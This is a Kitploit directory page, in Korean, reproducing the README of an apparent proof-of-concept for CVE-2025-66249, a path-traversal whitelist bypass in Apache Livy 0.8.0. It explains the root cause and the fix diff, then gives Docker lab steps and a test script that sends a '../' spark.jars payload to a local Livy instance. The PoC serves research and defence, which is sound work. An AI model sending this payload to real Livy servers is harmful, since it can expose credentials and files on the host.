Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-66249-POC — Apache Livy 경로 탐색 화이트리스트 우회 취약점에 대한 POC | Kitploit
도구/GitHubGitHub/sid6224/cve-2025-66249-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubsid6224/cve-2025-66249-poc

CVE-2025-66249-POC

Apache Livy 경로 탐색 화이트리스트 우회 취약점에 대한 POC

저장소 보기
5개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-66249 — Apache Livy 경로 탐색 화이트리스트 우회

CVE Livy Severity CWE Type License Platform Language

교육 및 보안 연구 목적으로만 사용하십시오. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에는 사용하지 마십시오. → 전체 면책 조항


개요

필드세부 정보
CVE IDCVE-2025-66249
심각도Important (CVSS N/A — 2026-03-15 기준 NVD 평가 대기 중)
영향Apache Livy 0.3.0-incubating ~ 0.8.0-incubating — livy.file.local-dir-whitelist가 기본값이 아닌 값으로 설정된 경우에만
수정 버전Apache Livy 0.9.0-incubating
CWECWE-22: 제한된 디렉터리('Path Traversal')에 대한 경로명의 부적절한 제한
공개일2026-03-12 (OSS-Sec) / 2026-03-13 (NVD)
보고자Hiroki Egawa (발견자)

취약점 설명

Livy의 REST 또는 JDBC 인터페이스에 접근 권한이 있는 인증된 사용자는 허용된 디렉터리 화이트리스트를 벗어나는 조작된 파일 경로 구성 값을 사용하여 Spark 세션이나 배치 작업을 제출할 수 있습니다.

근본 원인 — 화이트리스트 검사에서의 경로 탐색 우회 (Session.scala)

livy.file.local-dir-whitelist가 구성되면 Livy 0.8.0은 원시(비정규화) 경로에 대해 Java의 String.startsWith()를 호출하여 제출된 경로를 검증합니다. 이 검사는 ../ 탐색 시퀀스를 사용하여 우회할 수 있습니다:

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt

원시 문자열이 /opt/safe-data로 시작하므로 검사가 통과하지만, 경로는 실제로 /opt/sensitive/secret.txt로 해석되며 이는 화이트리스트에 포함된 디렉터리를 완전히 벗어납니다.

트리거 조건: 이 취약점은 livy.file.local-dir-whitelist가 기본값이 아닌(비어 있지 않은) 값으로 설정된 경우에만 악용할 수 있습니다. 화이트리스트가 비어 있으면(기본값) 경로 검증이 완전히 건너뛰어지므로 이 문제가 발생하지 않습니다.

영향: Livy REST API를 통해 세션을 제출하는 공격자는 Livy 서버 호스트의 임의의 로컬 파일을 참조할 수 있습니다. 공유 분석 클러스터에서는 자격 증명, 키, 구성 파일 또는 Livy 프로세스 사용자가 읽을 수 있는 모든 데이터가 잠재적으로 노출될 수 있음을 의미합니다.


영향을 받는 소스 파일

파일 — Session.scala

취약한 버전(v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

수정된 버전(v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala


소스 코드 — 클론 명령어

두 버전 모두 공식 Apache Livy GitHub 리포지토리에서 다음의 정확한 명령어를 사용하여 직접 클론했습니다:

리포지토리: https://github.com/apache/incubator-livy

root@kitploit:~
# Vulnerable version — cloned into ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.8.0

# Fixed version — cloned into ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.9.0
버전태그확인된 커밋로컬 경로
0.8.0-incubatingv0.8.0-incubating78b512658e4baf1183f2b352203ada1928d8111a./livy-0.8.0/
0.9.0-incubatingv0.9.0-incubating7215f209b25b96488189567807eaded00953a492./livy-0.9.0/

정확한 코드 차이(Diff)

수정 — Session.scala: 화이트리스트 검사 전 Paths.get().normalize()

root@kitploit:~
 import java.io.InputStream
 import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
 import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
 import java.util.UUID

 ...

     if (resolved.getScheme() == "file") {
       // Make sure the location is whitelisted before allowing local files to be added.
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }

v0.8.0에서의 영향:

원시 문자열 startsWith 검사는 경로 탐색 페이로드로 우회될 수 있습니다.

예: livy.file.local-dir-whitelist = /opt/safe-data인 경우

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt
  • v0.8.0: "/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true (우회됨)
  • v0.9.0: Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt /opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false (차단됨)

차이는 두 태그를 로컬에 클론(위 참조)한 후 다음을 실행하여 생성했습니다:

root@kitploit:~
diff -u \
    livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
    livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

공격 벡터 요약

root@kitploit:~
Attacker (authenticated REST/JDBC user)
    │
    ▼
POST /sessions
{
  "conf": {
    "spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
    ← path starts with whitelisted prefix — String.startsWith() passes
    ← but resolves OUTSIDE the directory via ../ traversal
  }
}
    │
    ▼
Livy 0.8.0 — whitelist check bypassed (raw startsWith, no normalisation)
    │
    ▼
Spark reads the file and distributes it to executors
    │
    ▼
Attacker retrieves file contents via job output / logs

테스트 환경

이 PoC의 모든 단계는 다음 시스템에서 실행 및 검증되었습니다:

구성 요소세부 정보
호스트 OSUbuntu 24.04.4 LTS (Noble Numbat)
커널6.17.0-14-generic x86_64
아키텍처x86_64
총 메모리15 GiB
Docker Engine28.2.2
호스트 JDKOpenJDK 17.0.18 (호스트에서만 사용 — 컨테이너는 eclipse-temurin:11-jdk-focal 사용)
컨테이너 기본 이미지eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal)
Spark 버전 (두 이미지 모두)3.1.3 with Hadoop 3.2
Livy 버전 — 취약한 이미지0.8.0-incubating
Livy 버전 — 수정된 이미지0.9.0-incubating

디렉터리 구조

root@kitploit:~
CVE-2025-66249-POC/
├── docker/
│   ├── fixed/
│   │   ├── Dockerfile
│   │   ├── livy.conf
│   │   └── start.sh
│   └── vulnerable/
│       ├── Dockerfile
│       ├── livy.conf
│       └── start.sh
├── test/
│   └── validate.sh
├── .gitignore
├── LICENSE
└── README.md

개념 증명(PoC)

개요

root@kitploit:~
docker/vulnerable/   →  image: cve-2025-66249-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  image: cve-2025-66249-fixed        (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  single script, run unchanged against both environments

전체 엔드투엔드 시퀀스 — 1단계부터 4단계까지 순서대로 진행합니다:

root@kitploit:~
Step 1: Build vulnerable image  →  start container  →  verify Livy is up
Step 2: Run validate.sh         →  confirm VULNERABLE (attack HTTP 201)   →  stop container
Step 3: Build fixed image       →  start container  →  verify Livy is up
Step 4: Run validate.sh         →  confirm FIXED    (attack HTTP 400)     →  stop container

참고: Livy는 docker run 후 준비 상태가 되기까지 약 15~20초가 소요됩니다. 아래의 모든 단계에는 API 호출 전에 명시적인 sleep 20이 포함되어 있습니다.


1단계 — 취약한 환경 빌드 및 시작 (Livy 0.8.0 + Spark 3.1.3)

파일:

  • docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
  • docker/vulnerable/livy.conf — 0.0.0.0:8998에 바인딩, local 모드, 화이트리스트 = /opt/safe-data

1a. 이미지 빌드:

root@kitploit:~
docker build -t cve-2025-66249-vulnerable docker/vulnerable/

검증 — 이미지가 생성되었는지 확인:

root@kitploit:~
docker images cve-2025-66249-vulnerable

예상 출력:

root@kitploit:~
REPOSITORY                  TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-vulnerable   latest    <id>       <time>    <size>

1b. 컨테이너 시작:

root@kitploit:~
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable

검증 — 컨테이너가 실행 중인지 확인:

root@kitploit:~
docker ps --filter name=livy-vulnerable

예상 출력:

root@kitploit:~
CONTAINER ID   IMAGE                       COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-vulnerable   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-vulnerable

1c. Livy가 시작될 때까지 대기한 후 REST API 확인:

Livy는 요청을 처리하기 전에 초기화에 약 15~20초가 필요합니다.

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

예상 출력:

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

1d. 컨테이너 내부의 디렉터리 구조 검증:

화이트리스트에 포함된 안전 파일이 존재하는지 확인:

root@kitploit:~
docker exec livy-vulnerable cat /opt/safe-data/safe.txt

예상 출력:

root@kitploit:~
This file lives inside the whitelisted directory.

화이트리스트 밖에 있는 민감한 파일이 존재하는지 확인:

root@kitploit:~
docker exec livy-vulnerable cat /opt/sensitive/secret.txt

예상 출력:

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

2단계 — 취약한 환경에 대한 검증 실행

1단계의 취약한 컨테이너가 여전히 포트 8998에서 실행 중이어야 합니다.

test/validate.sh가 테스트하는 내용:

#공격페이로드 키Livy 0.8.0에서의 예상 결과
1Session.scala의 String.startsWith()를 통한 경로 탐색../ 탐색이 포함된 spark.jarsHTTP 201 — 탐색이 화이트리스트를 우회함

2a. 스크립트 실행:

root@kitploit:~
bash test/validate.sh

참고: validate.sh는 다음과 같이 동작합니다:

  1. Livy가 응답할 때까지(최대 60초) GET /sessions를 폴링하여 서버가 준비되었는지 확인합니다.
  2. curl을 통해 ../ 탐색을 사용하여 화이트리스트 밖의 파일(/opt/sensitive/secret.txt)을 대상으로 하는 조작된 conf 페이로드로 POST /sessions 요청을 보냅니다.
  3. HTTP 응답 코드를 확인합니다: 201은 Livy가 경로를 정규화 없이 수락했음을 의미하고(취약), 400은 정규화 후 거부했음을 의미합니다(수정됨).
  4. 세션이 생성된 경우(HTTP 201), 스크립트는 서버를 깨끗하게 유지하기 위해 DELETE /sessions/{id}로 즉시 삭제합니다.
  5. 테스트 후 요약을 출력하고 코드 1(취약) 또는 0(수정됨)으로 종료하므로 자동화된 파이프라인에서 사용하기에 적합합니다.

예상 출력:

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 201
RESPONSE  : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
             Path was NOT normalised — traversal bypasses whitelist check.

RESULT: VULNERABLE — exit code 1

2b. 취약한 컨테이너 중지 및 제거:

root@kitploit:~
docker stop livy-vulnerable && docker rm livy-vulnerable

검증 — 컨테이너가 완전히 제거되었는지 확인:

root@kitploit:~
docker ps -a --filter name=livy-vulnerable

예상 출력 (비어 있음 — 행 없음):

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

3단계 — 수정된 환경 빌드 및 시작 (Livy 0.9.0 + Spark 3.1.3)

파일:

  • docker/fixed/Dockerfile — 기본 이미지와 Spark 3.1.3이 동일하며 Livy 버전만 0.9.0-incubating으로 변경됨
  • docker/fixed/livy.conf — docker/vulnerable/livy.conf와 동일 (동일한 화이트리스트, 포트, 모드)

Spark, 기본 이미지 및 모든 구성을 1단계와 동일하게 유지하여 Livy만 유일한 변수로 격리합니다.

3a. 이미지 빌드:

root@kitploit:~
docker build -t cve-2025-66249-fixed docker/fixed/

검증 — 이미지가 생성되었는지 확인:

root@kitploit:~
docker images cve-2025-66249-fixed

예상 출력:

root@kitploit:~
REPOSITORY             TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-fixed   latest    <id>       <time>    <size>

3b. 컨테이너 시작:

root@kitploit:~
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed

검증 — 컨테이너가 실행 중인지 확인:

root@kitploit:~
docker ps --filter name=livy-fixed

예상 출력:

root@kitploit:~
CONTAINER ID   IMAGE                  COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-fixed   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-fixed

3c. Livy가 시작될 때까지 대기한 후 REST API 확인:

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

예상 출력:

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

3d. 컨테이너 내부의 디렉터리 구조 검증:

수정된 컨테이너는 취약한 컨테이너와 동일한 픽스처를 사용합니다 — 이는 두 환경 간의 유일한 변수가 Livy 버전임을 확인합니다.

화이트리스트에 포함된 안전 파일이 존재하는지 확인:

root@kitploit:~
docker exec livy-fixed cat /opt/safe-data/safe.txt

예상 출력:

root@kitploit:~
This file lives inside the whitelisted directory.

화이트리스트 밖에 있는 민감한 파일이 존재하는지 확인:

root@kitploit:~
docker exec livy-fixed cat /opt/sensitive/secret.txt

예상 출력:

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

4단계 — 수정된 환경에 대해 동일한 검증 실행

3단계의 수정된 컨테이너가 포트 8998에서 실행 중이어야 합니다. 스크립트는 동일합니다 — 변경 사항 없음.

2단계와 4단계 간의 변경 사항:

  • 동일한 페이로드, 동일한 스크립트
  • Livy 0.9.0은 이제 화이트리스트 검사 전에 Paths.get().normalize()로 경로를 정규화합니다
  • 세션이 생성되기 전에 공격이 HTTP 400으로 거부됩니다

4a. 스크립트 실행:

root@kitploit:~
bash test/validate.sh

예상 출력:

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path normalisation blocked the traversal.

RESULT: FIXED — exit code 0

오류 메시지가 확인하는 내용:

공격HTTP오류 메시지수정된 근본 원인
spark.jars를 통한 경로 탐색400Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions.Session.scala에 Paths.get(...).normalize() 추가 — 화이트리스트 비교 전에 ../ 해석

4b. 수정된 컨테이너 중지 및 제거:

root@kitploit:~
docker stop livy-fixed && docker rm livy-fixed

검증 — 컨테이너가 완전히 제거되었는지 확인:

root@kitploit:~
docker ps -a --filter name=livy-fixed

예상 출력 (비어 있음 — 행 없음):

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

결론

CVE-2025-66249는 Livy의 로컬 파일시스템 접근 경로를 보호하는 화이트리스트 적용(whitelist enforcement)의 단일하고 표적화된 논리 결함입니다.

화이트리스트(livy.file.local-dir-whitelist)는 영향을 받는 모든 버전에 존재했으며 올바르게 구성되어 있었습니다. 실패 지점은 화이트리스트가 평가되는 방식에 있었습니다:

경로 탐색 우회(유일한 약점): Session.scala의 화이트리스트 비교는 원시 경로 문자열에 대해 Java의 String.startsWith()를 사용했습니다. 이는 .. 탐색 세그먼트를 고려하지 않기 때문에 파일시스템 경로 비교에 충분하지 않습니다. /opt/safe-data/../sensitive/secret.txt와 같은 경로는 화이트리스트 항목 /opt/safe-data에 대한 문자열 검사를 충족하지만 실제로는 그 완전히 밖의 위치로 해석됩니다.

0.9.0의 수정은 최소화되고 표적화되어 있습니다: 화이트리스트 비교 전에 Paths.get().normalize() 호출 한 번이 추가됩니다. 이는 startsWith 검사가 실행되기 전에 모든 .. 세그먼트를 해석하므로 탐색 페이로드가 허용된 디렉터리 밖을 가리키는 것으로 올바르게 식별됩니다.

방어자를 위한 핵심 시사점: 이 취약점은 livy.file.local-dir-whitelist가 비어 있지 않은 값으로 설정된 경우에만 악용할 수 있습니다. 이는 기본 구성이 직접적으로 취약하지 않다는 것을 의미하지만, 화이트리스트를 강화한(즉, Livy가 접근할 수 있는 디렉터리를 명시적으로 제한한) 배포는 역설적으로 노출됩니다 — 결함이 있는 코드 경로를 활성화하는 것이 바로 화이트리스트의 존재이기 때문입니다. Livy 0.9.0-incubating으로 업그레이드하는 것이 유일한 완전한 해결책입니다.


참고 자료

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-66249
  • OSS-Sec 공개: http://www.openwall.com/lists/oss-security/2026/03/12/2
  • Apache 메일링 리스트: https://lists.apache.org/thread/1xwphsfn4jbtym4k4o0zlvwfogwqwwc3
  • Apache Livy 프로젝트: https://livy.apache.org/

감사의 말

  • Hiroki Egawa — CVE-2025-66249를 Apache 보안 팀에 최초로 보고한 사람.
  • Apache Livy 유지관리자 — v0.9.0-incubating의 신속한 트라이지와 표적화된 수정에 대해.
  • Apache 보안 팀 — 책임 있는 공개 프로세스를 조정해 준 것에 대해.
  • OSS-Sec 커뮤니티 — 독립적인 분석을 가능하게 한 공개 공개 스레드에 대해.

기여

이 PoC 또는 문서를 개선하기 위한 기여를 환영합니다! 기여 시 다음 사항을 준수해 주십시오:

  • 책임 있는 공개 관행을 따르십시오
  • 적절한 면책 조항을 포함하십시오
  • 교육적 시연을 넘어서는 악성 코드를 포함하지 마십시오
  • 교육적 가치에 초점을 유지하십시오

기여하려면 풀 리퀘스트를 열거나 제안된 변경 사항을 설명하는 이슈를 제출하십시오.


라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.


면책 조항

이 리포지토리는 교육 및 보안 연구 목적으로만 제공됩니다. 개념 증명은 이해와 방어 조치를 돕기 위해 취약점 메커니즘을 시연합니다. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에는 사용하지 마십시오.


태그

cve-2025-66249 apache-livy path-traversal whitelist-bypass cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0 security-research proof-of-concept docker java scala vulnerability-analysis rest-api-security string-startswith-bypass path-normalisation

도구 다운로드